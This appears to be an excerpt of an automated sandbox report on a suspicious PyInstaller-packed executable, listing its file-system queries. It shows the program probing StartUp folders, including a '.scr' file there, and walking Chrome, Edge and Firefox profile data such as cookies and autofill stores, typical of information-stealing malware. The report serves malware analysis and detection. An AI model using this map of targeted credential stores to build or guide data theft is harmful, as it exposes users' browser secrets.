Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI51602\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\7-Zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\3e445a25-c088-46bb-968a-82532b92e486 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\es_419 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\et VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\3e445a25-c088-46bb-968a-82532b92e486 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\eu VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fa VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fi VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\hr VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\id VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\kn VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.8 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\lt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation\6498.2023.8.1 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AssistanceHome VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage\a72670a9-643e-4e4e-b4d5-e6019a48f42a VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\EntryDB VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\Files VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ar VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ar VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\be VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bn VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cs VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\da VolumeInformation	Jump to behavior
